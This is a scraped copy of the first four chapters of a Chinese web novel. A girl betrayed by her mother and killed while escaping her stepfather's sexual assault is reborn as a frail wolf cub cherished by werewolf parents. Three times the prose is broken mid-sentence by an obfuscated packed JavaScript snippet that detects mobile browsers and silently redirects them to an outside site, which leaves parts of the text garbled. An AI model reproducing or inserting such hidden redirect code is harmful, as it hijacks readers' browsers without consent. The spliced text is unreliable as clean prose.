《丧丧的也很可爱啊[基建]》 1. 第 1 章 深夜,洞穴里静悄悄的。 柴棉棉睁开眼睛,撑起不太熟悉的四肢,笨拙地绕过睡在一起的两只幼崽,拱进母狼柔软的肚腹中,寻找乳|头。 肚子饿得咕噜咕噜叫,她动作急切地扒拉开长长的腹毛,用鼻头轻触母狼的乳|房一个个试过去,寻找乳汁。 这个没有…这个也没有! 柴棉棉太饿了。 自打她变成这只母狼的幼崽,她就再也没吃饱过。 母狼的奶水太少,她的“哥哥”“姐姐”又格外能吃。每次开饭,强壮的大哥二姐便挤到母狼的胸前,抢占了乳汁最多的两个乳|房。 柴棉棉体型比他们足足小两圈,被挤到最边缘,吸吮到的乳|头都几乎没有奶水,根本就吃不饱! 她饿得受不了,才想出这么一个主意。 硬生生熬到半夜不睡,偷偷爬起来找奶喝。 柴棉棉沿着母狼的腹部一路向上爬,爬到胸口,鼻尖轻触饱胀的乳|房,一丝乳汁的奶香立刻溢散而去,刺激得她嘴巴里分泌出大量口水。 找到了! 她眼前一亮,欣喜若狂。 凑过去正要狠狠嘬一口,突然一股大力袭来。 柴棉棉被硬生生挤开,一颗胖乎乎的黑脑袋出现在眼前,占据了她原本的位置,张嘴叼住乳|头,美美地吸吮起来。 黑!黑! 柴棉棉眼睛几乎喷火,心里咬牙切齿地吼出他的名字。 该死的!你不是傍晚已经吃过了吗?你不是正在睡觉吗? 为什么?我好不容易熬到半夜,好不容易找到一口吃的,你却要硬生生抢走? 柴棉棉气得眼睛都红了,她扑过去咬他的脑袋,用光秃秃的牙床啃他的耳朵,四肢乱挥。 你给我让开!让开! 黑黑吃得正开心呢,不耐烦地抬起前腿,赶苍蝇似地一挥,就将柴棉棉推开了。 柴棉棉正要再扑上去,一个灰色的影子从旁边扑过来,重重地压在她身上,稚嫩的嗓音在她耳边凶狠地低吼,尖锐的乳牙狠狠咬她的鼻头,两只前腿在她身上重重拍打。 柴棉棉疼得嗷嗷大叫,奋力反抗,却连掀翻她的力气都没有。 “妈妈!” “妈妈!!救我!!!”柴棉棉下意识大喊。 或许是狼崽的叫声太过凄厉,母狼醒了。 她站起来,矫健的四肢迈着轻盈的步伐,围绕两只狼崽走了一圈,似在观察情况。 然后低头轻轻将灰灰叼开,压低声音呜呜了两声,警告她不要太过分,便又回到原地重新趴下了。 灰灰学着母狼的样子,压低声音冲柴棉棉呜呜两声,警告她,然后走到黑黑旁边,等待黑黑喝完奶。 大哥黑黑喝完,二姐灰灰上去喝。 等两只狼崽都喝够了,柴棉棉迫不及待地扑上去,却发现一滴奶水也没有了。 怎么会这样? 往常“哥哥”“姐姐”喝完,乳|房里还剩一两口,这次怎么一滴都不剩? 她不禁怀疑,黑黑灰灰是故意的。 为了报复她半夜起来偷喝母狼的奶,为了教训她刚才的反抗,故意一滴也不剩给她! 柴棉棉朝那两只幼崽看过去,他们正在互相舔毛。 灰灰给黑黑舔脸颊、颈部;黑黑给灰灰舔后背、脑袋;舔完之后依偎在一起睡了,连一个眼神都不给她。 柴棉棉眼眶红了,她硬咬着牙不肯哭出来,默默走到角落,面朝墙壁趴下来。 为什么会这样? 难道上天让她再活一次是为了让她再受一次苦吗? 柴棉棉咽下一肚子泪水,上辈子发生的事情仿佛历历在目。 上辈子,柴棉棉过得很苦。 6岁时,她父母就离婚了。 母亲像一个怨妇,坐在地上毫无形象地大哭:“柴进强你有没有心?我19岁就跟了你,在外打工挣钱,在内操持家务,还给你生了一个孩子,伺候你爸妈伺候你伺候了整整7年,你现在要跟我离婚?” 父亲不耐烦地嘟囔:“什么离婚?我们根本就没结婚。在我们那儿,女人是要生了儿子才给结婚证的,你有儿子吗?你就生了一个丫头!” 母亲瞪大眼睛:“是你说女儿好,你最喜欢女儿,只生一个女儿的!现在你嫌弃我没生儿子了?你当初说的话都是放狗屁!” 父亲呸她一脸唾沫:“你才是放狗屁!是你被城里人哄得找不着北,跟我说一辈子就生棉棉一个女儿,你要爱棉棉一辈子。那我能怎么办?我只好附和你了。” 母亲怒扑上去:“你敢呸我……” 后面发生了什么,柴棉棉记不清了。 她只记得母亲鼻青脸肿地出来,带着她离开了家,从此她便随着母亲四处漂泊。 那段时间,柴棉棉过得很贫穷,但一直觉得很快乐。 因为母亲一直陪着她。 母亲说:“棉棉,你要争一口气,好好读书,将来挣大钱,气死那个小三!生了儿子又怎么样?将来铁定是废物一个!” 柴棉棉用力点头,认真许下诺言:“我一定会好好读书,将来挣很多很多的钱,给妈妈买大大的房子,买漂亮的轿车,那样妈妈就不用辛苦地蹬三轮车了。” 母亲笑了。 盛夏的晚上,热风习习,母亲欣慰的笑声伴随着路边行道树震天的蝉鸣,像欢快动听的假日二重奏。 柴棉棉坐在车斗里,汗湿的胳膊在劣质墨水印刷的试卷上压出一道湿痕,昏暗的灯光下,她认真地阅读题目,写下一道道算式。 这一幕,柴棉棉记了很久很久。 直到她随母亲搬进继父家很多年,在继奶奶的白眼、继父的漠视、继兄的霸凌中生活很多年,这一幕都是支撑她的力量源泉。 她拼命地读书,努力摒弃掉外界一切令她感到难堪和难过的东西,终于高考结束,她考上了省城大学。 那是一座历史悠久的老牌985大学,实力雄厚,屹立在省城金字塔尖,在全国亦是赫赫有名。 她拿到录取通知书,欣喜若狂地跑回家。 一推开门,发现继父家的亲戚全来了。他们热热闹闹地聚在客厅,围绕着刚上初中的弟弟,笑容满面,称赞声不绝。 “家兴真是有出息啊,刚上初中就被京城大学少年班录取了。” “你们家祖坟真是冒了青烟!” “家兴将来出人头地了,可一定要拉我们嘉源一把啊。” “是啊是啊” “……” 母亲站起来,红光满面地宣布,她要跟弟弟家兴去京城,陪他读书。 “家兴还是个孩子呢,离不开我。” 柴棉棉茫然地站在人群边缘,表情木木的。 她本应该有所反应,可不知道是不是这些年她装迟钝惯了,真的变得很迟钝,她不知道该有什么反应。 她只是等家里的亲戚都散了,悄悄将录取通知书递给母亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179527|180883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眼里含着连她自己都不知道的希冀之光。 “省城大学啊,一般吧。” 母亲翻了翻录取通知书,漫不经心地扔在桌上。 柴棉棉还没来得及说话,她就仿佛想起了什么:“哦,家里没钱供你念大学了,你别读了,去打工吧。” 柴棉棉越发茫然。 她嘴唇嗫嚅几下,小声说:“……不是要陪家兴去京城读书吗?家里怎么会没钱?” “是啊!”母亲突然生气起来,“京城房租那么贵,物价那么高,所以就没钱了啊!再加上你大哥马上要结婚,家里要给他买房买车,还得付一大笔彩礼,那有钱供你读书啊?” 柴棉棉眼中不受控制地沁出泪水,母亲的模样逐渐模糊不清。 她努力地撑住,强压住声音的颤抖:“可是我考上大学了啊!等我大学毕业,我就能找到一份好工作。我把工资都攒起来,买房子,到时候我们……” “好了!不要再做这种不切实际的梦了!”母亲高声打断她,“女孩子读书有什么用啊?将来还不是要嫁人的!” 柴棉棉嘴唇颤抖着:“我可以不嫁人的……” 母亲嗤之以鼻:“小孩子家家,就是天真。” “行了行了,别说我没管你。”母亲一边收拾客厅一边说,“我让你爸爸在他朋友那里给你找了一份工作,一个月3000块,坐办公室的,在电脑前打打字给人跑跑腿就行了,不用你进厂干活,夏天还有空调吹呢!这样的好工作打着灯笼都难找,你要好好谢谢你爸爸。” 她轻描淡写决定了她一生命运的走向,将她十几年的努力付之一炬,竟没有半分觉得潦草和荒唐。 柴棉棉整个人都在发抖,哭到连话都说不清:“我…我……” 她像受伤的幼兽般呜咽出声,声音嘶哑地控诉:“你都有钱陪家兴去京城上大学,怎么可能没钱供我念大学?妈,家兴是你的孩子,我不是吗?你把所有的爱和钱都给了家兴,为什么不肯分我一点点?明明我才是先来的,我才是你第一个孩子啊……” 母亲动作一顿,继而怒道:“家兴才13岁,他去京城,我能不陪着吗?他那么小,出了事怎么办?你这个当姐姐的怎么那么自私?就知道顾你自己,一点儿也不知道为弟弟着想!” 柴棉棉眼中再次浮现出茫然。 她自私?她只是想念大学而已,她就变成了自私? 她忍受了那么多痛苦,在书山题海中挣扎了那么多年,坐在客厅的那个小角落,寄人篱下,日日月月年年,就是为了高考考上一所好大学,将来找到一个好工作,然后和妈妈一起搬出去,再也不用过看人脸色的日子。 结果现在妈妈告诉她,她想念大学,是自私? 柴棉棉似有无数话想说,可是千言万语堵在喉咙口混杂不清,她的大脑竟然捕捉不到只字片语。 她只能无助地,用充满祈求的目光看着她,带着不甘心和执着:“妈,你还记不记得?小时候我们说好了……” 母亲顿了顿,烦躁地背过身去:“你们这些小孩儿就是天真又矫情。什么爱不爱的?爱能当饭吃吗?能当钱使吗?等你们这些小孩儿进入社会了,就知道生存有多难……” 她絮絮叨叨,一边用力地擦柜子一边指责柴棉棉不懂事,都放假了也不知道帮她做点儿家务。 柴棉棉已无心与她争论平常家里只有她会帮她做家务。 她什么也听不见,什么也不想听,转身跑了出去。 2. 第 2 章 柴棉棉茫然地走在街上,孤零零地像一个游魂。 她走啊走,走啊走,走得两条腿都累了,疲倦不堪,想找个地方歇一歇。 然而天地那么大,街边建筑那么多,却没有一处她可以停下休息的地方。 只有那个家,那个继父的家,除此之外她不知道还能去哪里? 柴棉棉蹲在街边,蹲到天彻底黑透,她才跺了跺酸麻的腿,慢吞吞往继父家走。 打开房门,客厅里亮堂堂的,却很安静,只有一个继父坐在沙发上看电视。 “棉棉回来了?吃饭了没?” 柴棉棉有些不安:“叔叔,我妈呢?” “家兴考上京城大学少年班,你妈带家里人出去庆祝了。”继父站起来,笑着走过来,“你妈跟我说,下午你跟她赌气,跑出去了。小孩子家家,气性怎么那么大?叔叔特地给你留了饭,你过来吃点。” 柴棉棉下意识后退:“不用了叔叔,我不饿,妈她带家兴去哪里庆祝了?我去找她。” “着什么急啊?叔叔特意给你留的饭,你先吃,吃完叔叔再带你去找他们。”继父抓住她的手臂,往屋里拉。 “不用了叔叔,我不饿!”柴棉棉使劲拧动胳膊想挣脱他,但是他的手像铁钳一样硬,牢牢地钳得她手臂发疼,她心惊胆颤,转身就想跑,“我找妈有事,我去找她!” 男人一把搂住她,拦住她开门的手:“你找你妈什么事?跟叔叔说,叔叔才是一家之主。” 柴棉棉吓得惊恐尖叫:“你放开我!你放开我——” “嘘!嘘嘘!”男人试图哄她,搂着她往屋里拖,“好棉棉,不要叫,叔叔是喜欢你,你乖一点,让叔叔开心了,叔叔什么都给你。” 柴棉棉两腿乱踢,拼命扭动身体:“你这么对我,我妈不会放过你的!” “你妈不会放过我?哈哈哈哈——”男人仿佛听见了什么荒谬的笑话,“我告诉你吧,你妈已经把你卖给我了,家兴要去京城上大学少年班,我不给她钱,家兴的前途就没有了,她自知人老珠黄,从我这里要不到那么大一笔钱,就把你送给我了。” 柴棉棉脸色涨得通红:“你放屁!你胡说!” “我胡说?你是不是想考大学,你妈说没钱供你读书?她确实没钱,只有我有钱。你乖乖的,把我伺候舒坦了,我给你钱上大学。” 男人将她压在沙发上,腾出一只手在她身上粗暴地乱摸:“棉棉果然是长大了,身材真好,昨天我看你洗澡,前凸后翘的……” 柴棉棉拼命摇头,眼泪像断了线的珠子四处乱飞。 “救命——” “妈!救我——” “妈!妈妈,妈妈——救我,救救我!!!——” 她声音凄厉,尖叫得几乎破了音,男人怕她把住在上下左右的邻居叫过来,连忙用力捂住她的嘴。 柴棉棉右手失去了钳制,到处乱摸,摸到了茶几上的水杯,抓起来用尽全力往他脑袋上一砸! 身上压迫的力道猛然一松,柴棉棉立刻掀翻他爬起来,慌不择路蹿进开阔的阳台。 “操你妈!小贱人!给脸不要脸!” 男人追出来,恶意不加掩饰地倾泄而出:“信不信老子今天就是弄死你,你妈也要在公安局给我签谅解书?” 身前是面容狰狞的继父,身后是万丈悬崖般的高楼,柴棉棉呼吸急促,身体因极度恐惧而陷入了僵直,面对男人的一步步逼近只知道本能后退。 终于,她的后背撞上了阳台的栏杆。 男人得意一笑:“没地儿躲了吧?” 他猛然扑上来,柴棉棉惊恐尖叫,却不料身后的支撑轰然倒塌,她骤然失重,下意识抓紧男人的衣裳,拉着他一起从阳台上跌落下去。 “臭婊子!放手!”男人惊恐大叫。 柴棉棉在风中极速跌落,或许是知道自己必死无疑,她胸腔内反而凭空生出一股报复的勇气。 她大喊道:“不放!死也不放——!!!” 砰地一声,两人从46楼的高度砸进坚硬的水泥地面,碎烂成一团血肉做的泥。 。 “呜呜呜……呜呜呜……” 断断续续幽怨的哭声中,柴棉棉睁开眼睛,露出迷茫。 奇怪,她不是死了吗?怎么还能听到哭声? 她伸出双手看了看,又看向自己的脚,顿时吓了一跳。 原来她的身体竟然飘在半空中,她变成了一只鬼魂! 柴棉棉新奇地在空中转了两圈,发现是母亲在她的牌位前哭泣,立刻高兴地飘过去。 “妈妈,别伤心了。你看,我没死。” 然而母亲根本听不见她说话,她毫无形象地坐在地上,瞪着少女的牌位遗像怨恨地直咬牙:“死丫头真是不懂变通!让你爸爸摸几下怎么了?现在他死了,谁来供家兴读书?家里老的老,小的小,让我怎么办啊…呜呜呜……” 柴棉棉灵魂一滞。 继父说过的话在耳边响起,她脸色蓦然惨白。 “你妈把你卖给我了。她想从我这里要一笔钱,供家兴读书。” “信不信就算我弄死你!你妈也会在公安局给我签谅解书?” 柴棉棉落在她面前,抓住她的胳膊直视她的眼睛:“妈,他在说谎是不是?他在骗我是不是?!!!” 她目眦欲裂,嘶吼时几乎已经到了崩溃的边缘。 然而母亲不可能回答她,母亲只是恨,恨天恨地,恨不肯稀里糊涂就范的女儿,恨吝啬贪色的丈夫,恨刻薄挑剔的婆婆,在一个代表死亡的牌位面前,尽情发泄她的怨恨。 柴棉棉怔怔,渐渐从不敢置信的震惊和怀疑中回过了神,她松开手,身体如浮萍般随风飘起,飘啊飘啊,只觉得天地颠倒,白茫茫一片…… 过了很久很久,她轻轻一抹脸,才发现伤心到极深处,鬼魂也是会流泪的。 柴棉棉低下圆滚滚的小白毛脑袋,在兽皮毛上蹭掉脸上的泪水。 她觉得她上辈子就是个笑话,当然,这辈子也是。 转生投胎,变成母狼的一只幼崽,偏偏是最弱小的一只。和同窝的两只幼崽抢狼奶喝,永远抢不过,偏偏母狼还不管! 听说自然界有弱肉强食的传统,资源匮乏的情况下母狼会放弃瘦弱的幼崽,她应该是被母狼放弃了,和上辈子的母亲一样。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179528|180883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 既然这样,她还费心费力偷狼奶喝干什么?她这副身体,牙都没长出来,四肢也没用熟,没有母狼的庇护,根本活不下来。 放弃吧,她再努力也没用,这就是她的命。 柴棉棉胸腔里充盈着绝望,眼睛里的光渐渐熄灭。 她趴下来,闭上眼睛,小身子一动不动,如同一颗没有生命力的石头,似乎要在漫长的时光里静止成永恒的画面。 天渐渐亮了,早晨的阳光透过洞穴门口堵住的石块缝隙照射进来,两只小狼崽又开始欢快跑酷。 他们在母狼身上跑上跑下,嗷呜叫着要喝奶。 母狼虽然烦躁,但还是敞开肚皮,让小狼崽们凑上来,鼻头拱进胸腹的长毛中找奶喝。 最小的白毛狼崽没有动静,母狼没有在意,以为她没有醒。 直到黑黑灰灰两只幼崽都喝完奶了,棉棉依然没有动静,母狼才疑惑地站起来,走过去,用吻部扒拉她的小身子。 柴棉棉一动不动。 母狼有些着急,低头在她身上嗅来嗅气,并没有闻到腐烂味道或者其它奇怪的气息。 “呜呜。”母狼喉咙里发出温柔的叫声,似乎是询问她的状态:“棉棉,你怎么了?” 柴棉棉还是一动不动。 母狼围绕着她走来走去,或轻或柔的叫声从她喉咙里发出,高低长短含义不同。 “棉棉,你怎么了?” “棉棉,你怎么不喝奶?” 她时不时用吻部或者前爪轻碰她的小脑袋,用舌头轻轻舔舐她的脸庞。 “棉棉,你不舒服吗?你生病了吗?” 甚至小心翼翼地卧在她的面前,扒拉开长毛,将干瘪的乳|房凑到她嘴边。 “棉棉,你喝奶,喝奶啊!” 母狼乳汁的香气萦绕在鼻尖,母狼温暖的怀抱笼罩全身,柴棉棉紧闭双眼,眼睑处渗出两颗泪珠,没入细软的白毛,极快地消失不见。 放弃她吧,她是一个格外弱小没用的幼崽。 剩余的几口乳汁给她喝,她也活不下去,不如全分给黑黑灰灰,这样黑黑灰灰会长得更加健壮。 洞穴门口堵住的大石头突然被挪开。 阳光大片大片地照进来,光与阴影变幻时走进来一个身高腿长有腹肌的年轻男人。 他竖短发,利眉斜飞,丹凤眼,皮肤略黑,腰腹处围着一块兽皮,带着一股年轻气盛的野性。 母狼冲他呜呜叫,带了一丝急切。 年轻男人放下手中食物,过去轻抚她瘦削的背部:“我知道了,你别着急,我来看看。” 他小心翼翼地将巴掌大的白毛幼崽捧起来,放在掌心,就着外面投射进来的阳光,挨个举起白毛幼崽的四只爪爪查看,又将她翻过来翻过去,拨开细软的白毛查看她的皮肤状态,没有看见任何伤口或者蚊虫叮咬的痕迹。 “看起来没事啊,怎么突然就不喝奶了?” “嗯?棉棉?”他从鼻子里嗯出一声,亲昵地呼唤她的名字,右手指尖轻轻挠了挠她柔软的肚腹。 柴棉棉被戳中笑穴,忍不住咧开嘴笑了起来。 笑着笑着,她又哭了。 3. 第 3 章 年轻男人舔舐掉她眼睑处的泪水,露出若有所思的神情。 “我看不出问题,我想带棉棉出去一趟,找老祭司帮忙看看。” 母狼呜呜了两声。 “我知道,我会小心的。”年轻男人温柔地摸了摸母狼的脖颈,低头抵住她的额头,“这些是我刚从狩猎一队拿回来的食物,你全部吃完,不然后面没有奶水,养不活三个孩子。” 他从洞穴里翻找出一片厚实干净的兽皮,将白毛幼崽放进去,裹得严严实实,抱在胸前,走出洞穴。 洞穴外面,太阳已经升得老高。 青山映衬下,天空像被洗过一般干净,流水潺潺,男人们扛着长矛沿着山脊高处巡逻,女人们抬着木桶去水潭边担水。 看见年轻男人,有人冲他打招呼。 “尖爪,你们小队刚夜猎回来,怎么不回家睡觉,还在外面晃悠?” “尖爪,你怀里抱着什么呀?” 尖爪打开兽皮一角,双臂微微托出去,眉毛飞扬:“看,我的崽。” “这就是明眸刚产下的崽?好可爱好漂亮啊。” “她身上全是白毛,没有一根别的颜色的毛,这还是我第一次见到这种纯白毛色的狼崽,好漂亮。” 有人赞叹表示喜爱,就有人皱眉表示担忧。 “我记得部落刚刚在这里定居明眸就产崽了吧?一个月了,她的体型怎么那么小?” “是啊,一个月大的狼崽都能跑能跳了,体型得有我手臂这么长,怎么它才只有巴掌大点儿?” “纯白色的毛发,很难在山林中隐藏自己吧,将来她捕猎会不会很难?” “这样的幼崽,活得下来吗?” 尖爪不高兴了,伸手驱赶他们:“去去去,胡说八道什么?我家棉棉肯定能活下来,它长大了肯定也能变成优秀的猎手!” 柴棉棉眼皮又湿了。 原来她不仅格外瘦小,还是一只难以在山林里掩藏捕猎的白毛崽,即使活下来了也是一个废物。 母狼放弃她果然是对的,是基于部落刚到新地方定居缺衣少食情况下的最优选择策略。 尖爪舔掉白毛幼崽眼皮下渗出的泪珠,感觉很奇怪。 怎么又哭了?是不开心吗? 他抱着兽皮来晃荡,一边晃荡一边轻拍,尝试哄一哄她。 结果白毛幼崽哭得更厉害了。 尖爪挠头,实在不知道该怎么办了,赶紧重新包好兽皮,抱着白毛幼崽往山上走。 老祭司慧天住在部落最高的地方,因为她每天晚上都要观星,以此判断明日的天气。这样部落的两个狩猎小队就能根据她的判断来决定明天狩猎是走远些还是就在近处。 慧天很老很老了,尖爪小时候她就是这副满脸皱纹的干瘦模样,尖爪长大了有伴侣了生幼崽了她还是这样,只是动作更加慢吞吞,说出来的话更加难以听懂。 她干枯的手捧起闭着眼睛趴在兽皮上的白毛幼崽,见白毛幼崽两只前爪下意识攀住了她的手腕,浑浊的眼睛里露出一丝了然。 “老祭司,我家棉棉今天突然不肯喝奶了。我检查过,她不像生了病或者受了伤,你帮我看看,是什么问题?” 慧天看着跪坐在面前的年轻人:“你心里已经有想法了?” 尖爪犹豫片刻,说:“棉棉瞧着…好像很伤心的样子,可是她那么小,又有什么可伤心的呢?” 慧天擦掉白毛幼崽眼睑下溢出的泪珠,温柔地抚摸她的小脑袋,叹出一口苍老悠长的气息:“这只幼崽不好养活啊。尖爪,你有养活她的决心吗?” 尖爪脸色严肃起来,挺直了腰板:“什么意思?” “要养活这只幼崽,需要很多的食物,更需要很多很多的爱。”慧天举起掌上不停流泪的白毛幼崽,让尖爪仔细看,“虽然我不知道为什么,但我能看到,她心里有一条深不见底的裂谷,只有填满裂谷,她才能真正活下来。” 尖爪年轻飞扬的脸庞露出一丝迷惘:“什么裂谷?听不太懂。” 不过…他沉思片刻,重新肃穆了神情,认真地说:“棉棉是我的幼崽,我会竭尽全力地养活她。原先在迁徙的路上我还不敢保证,但是现在部落已经安定下来了。这个新的族地气候很适合,猎物也很多,凭我的能力,我可以猎取到足够多的食物来养活棉棉。” “好。”慧天放下白毛幼崽,重新将兽皮裹得严严实实,“那你去猎一头正在哺乳的母羊回来,供棉棉吃奶。” 尖爪:“啊?” 慧天:“部落刚到此处定居,明眸便产崽了,她在路上消耗巨大,奶水哺乳三只幼崽,足够吗?” 尖爪眉头微皱:“我知道不太够,所以开拓任务一结束,我就去捕猎了。之前再怎么不够,吃个半饱应该还是可以的。” 慧天指了指兽皮:“对这只幼崽来说,不太够就是没有,半饱就等于饥饿。” 尖爪再次露出困惑的神情。 慧天挥手:“去吧,不管用再来找我。” 尖爪抱着白毛幼崽回家了。 洞穴里,饭盆里的食物已经吃掉大半,还剩一条毛皮剥得干干净净的完整鹿后腿,鲜红的血肉散发出新鲜的美味。 尖爪笑道:“夜猎的时候我已经吃饱了,不用给我留,你吃吧,你还要哺乳呢。” 母狼呜呜了两声。 尖爪:“行,那咱俩分着吃。” 说罢,他瘦削有力的手指瞬间长出异常尖锐坚硬的尖爪,刷刷几下就将饭盆里的鹿后腿切割成大小不等的肉块。 然后大的喂给母狼吃,小的放进自己嘴里。 柴棉棉虽然一直紧闭着眼睛,但耳朵她关不上,两人亲密无间的相处毫无阻碍地通过耳朵传到了她脑子里,她情不自禁地往两人的方向移动脑袋,就像藏在石头缝隙里的种子忍不住朝阳光照进来的方向生长。 吃完鹿后腿,尖爪对母狼说:“明眸,以后不会缺少食物了,你变成人形吧,我想跟你说说话。” 母狼应了一声,外形渐渐变化成一个年轻温柔的女子,她竖短发,高高瘦瘦,眼眸是明澈的琥珀色,大臂大腿上都附着有一层薄肌,窄腰处还有两道清晰的马甲线。 尖爪说:“老祭司让我给棉棉活捉一头正在哺乳的母羊回来喝奶。” 明眸微微皱眉:“活捉?那有些困难。” 尖爪点头。 正在哺乳的母羊往往被护在羊群中心的位置,这已经很难了,再加上活捉,更是难上加难。 柴棉棉忍不住呜呜两声表示不用麻烦了,然而她现在的叫声恰如人类幼崽牙牙学语,没人听得懂。 尖爪道:“我打算跟狩猎小队请几天假,追踪到羊群的位置后多埋伏几天,迟早能找到机会。” 明眸:“那你先睡一会儿,我去给你请假。” 尖爪点头,抱起活泼闹腾的黑黑和灰灰,还有安静的棉棉,挨个在脑袋上狠狠亲一口,倒头睡下。 黑黑灰灰一被放开便撒丫子跑去玩闹了,柴棉棉睁开眼睛,看着呼呼大睡的年轻男人,情不自禁慢慢走过去,蹲在他的脸庞边。 “为什么要救我呢?” “你没听那些人说吗?我很弱小,还是天生白毛,长大了也很难养活自己,说不定会成为你一辈子的累赘,还有老祭司说的,我很难养活,可能你付出了很多很多,我还是没长大就死了。你做这些,值得吗?” 她泪流满面,抬起脑袋用额头蹭了蹭他的鼻尖,趴在他的气息旁边。 过了一会儿,一只高壮的狼人出现在门口,将照进来的阳光挡了大半,令洞穴骤然一暗。 他走进来,黄澄澄的眼睛里闪烁着残忍冰冷的凶光,壮硕的胸肌上斜爬着一道狰狞的伤疤,令人望而生畏。 “尖爪,我听明眸说,你要请假?” 尖爪骤然被吵醒,迷瞪了两秒才坐起来,打着哈欠说:“是啊,我家棉棉需要母羊奶哺乳,我得去抓一头回来。” 暴牙阴沉着脸:“从老祭司那里得来的消息,这段时间都是晴天,狩猎小队打算去猎野牛群,多搞一些食物回来,你请假了,谁来做我的副攻手?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179529|180883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>尖爪:“你再找一个人配合你嘛。” 暴牙:“不行,整个狩猎小队就你爪子最锋利,反应快速度也快,而且你跟我配合了那么久,都有默契了,突然间换别的人,没有足够的默契,狩猎野牛群这么危险的事情,队长不会让我做主攻手的。” 尖爪:“那这次狩猎野牛群,你就别做主攻手。” 暴牙:“不行。整个狩猎一队,除了我,还有谁有能力担任主攻手?” 尖爪不说话了,他不是理亏,是觉得暴牙自视过高,狩猎野牛群确实比较危险,但一路迁徙过来,狩猎一队不知道狩猎过多少比野牛群更加危险的猎物,能活到现在的都是个顶个的好手,谁不能当主攻手? 暴牙见他不吭声,低头去看他膝边的白毛幼崽:“这就是要你专门活捉一头母羊回来才啃喝奶的小崽子?长得又小,还是个白毛,这样的崽子注定是要被森林山地淘汰的,即使勉强长大了对部落也没有用处,不如直接放弃掉,任她自生自灭。” 尖爪明眸同时脸色大变:“你胡说什么?” “我没有胡说,一路迁徙,大家见得还少吗?”暴牙黄澄澄的眼睛显得格外冷漠,“太老走不动的,太小走不了的,受了重伤不能走的,遭遇山石滚落埋土里的,我们救不了他们,只能舍弃掉他们。部落原来有一百一十多只狼人,现在只有九十个了,这还要算上明眸你刚产下的三只幼崽。” 他站起来,居高临下地拍了拍尖爪的肩膀:“我劝你尽快接受现实,不要把你出色的能力和珍贵的食物浪费在注定要被舍弃的东西上面。回归小队,作为副攻手配合我狩猎野牛群,才是你最正确的选择。” 尖爪横眉怒视:“棉棉不是东西,是我的幼崽。” 暴牙轻蔑一笑,走了。 暴牙的脚步声逐渐远去,洞穴陷入了沮丧的安静。 柴棉棉睁开眼睛,看见尖爪和明眸脸上是如出一辙的不确定和忧虑。 她心下了然,暴牙说的应该是事实。 部落没有多余的资源供养老弱病残,即使尖爪明眸多付出一份努力挽救她现在的生命,或早或晚,当部落资源紧缺时,她这样的废物就会被立刻舍弃,尖爪明眸付出的多年努力将全部付诸东流。 柴棉棉惨然一笑,她就知道,这辈子她是活不成的。 这时候,她反而没有眼泪要流了,她只是闭上眼睛,平静地、绝望地接受了自己的最后结局。 “明眸,你在家好好照顾自己和三个崽,我出去抓羊,最多三四天就回来了。” “嗯,在外面你要小心,宁可不成功,也要保护好自己,我和幼崽们还等着你回来呢。” 柴棉棉诧异地睁开眼睛,两只狼人已经站在洞穴门口依依惜别。 她忍不住向他们走了几步,抬起小小的脑袋仰望他们高大的身躯。 “为什么?” “为什么要救我?” “即使最后会功亏一篑你们也不在乎吗?” “即使我长大了不能给你们带来任何回报你们也不计较吗?” “即使我是一艘注定要沉的船,你们也愿意护我前行吗?” 明眸将她捡起来,托在掌心,用指腹擦去挂在她白绒绒脸颊毛上的泪珠:“棉棉,不要乱跑,小心踩着你。” 尖爪抬起手,轻轻挠了挠白毛幼崽的小脑袋瓜:“棉棉,不要伤心了,阿爸去给你抓母羊回来,你有了羊奶喝,将来一定能长得壮壮的。” 这时,两只高大强壮的狼人从远处跑过来,特别开朗热情地打招呼。 “尖爪,听说你要去给棉棉找羊奶喝,我们帮你啊!” “我知道一个羊群,它们喝水时会经过我们部落的领地边界,我们三只狼一起,现在去晚上就能回来,就不用跟队长请假了。” 尖爪的眼睛一下子亮了起来:“真的?” 大力笑道:“真的,昨天我伴侣出去巡逻,亲眼看见的,他已经把位置告诉我了。” 尖爪:“好,我们现在就去!” 大力疾风齐声附和:“走!” 4. 第 4 章 柴棉棉蹲在明眸的掌心上,凝望着尖爪三只狼离去的方向,久久不肯移开视线。 明眸说:“阿爸至少晚上才能回来,棉棉先和黑黑灰灰一起在阿妈这里喝点儿奶好不好?” 柴棉棉不肯。 她趴在洞穴里,执着地凝望着门口的方向,仿佛是在寻求一个证明。 仿佛只要有这个证明,她就能够安心。 天渐渐黑了,阴影重叠的山野中忽然出现两点火光。那两点火光越来越近、越来越明亮,到洞穴门口时变成了两团熊熊燃烧的火焰。 是大力和疾风举着火把,火焰中间,尖爪扛着一头五花大绑的山羊,正朝她灿烂得意的笑。 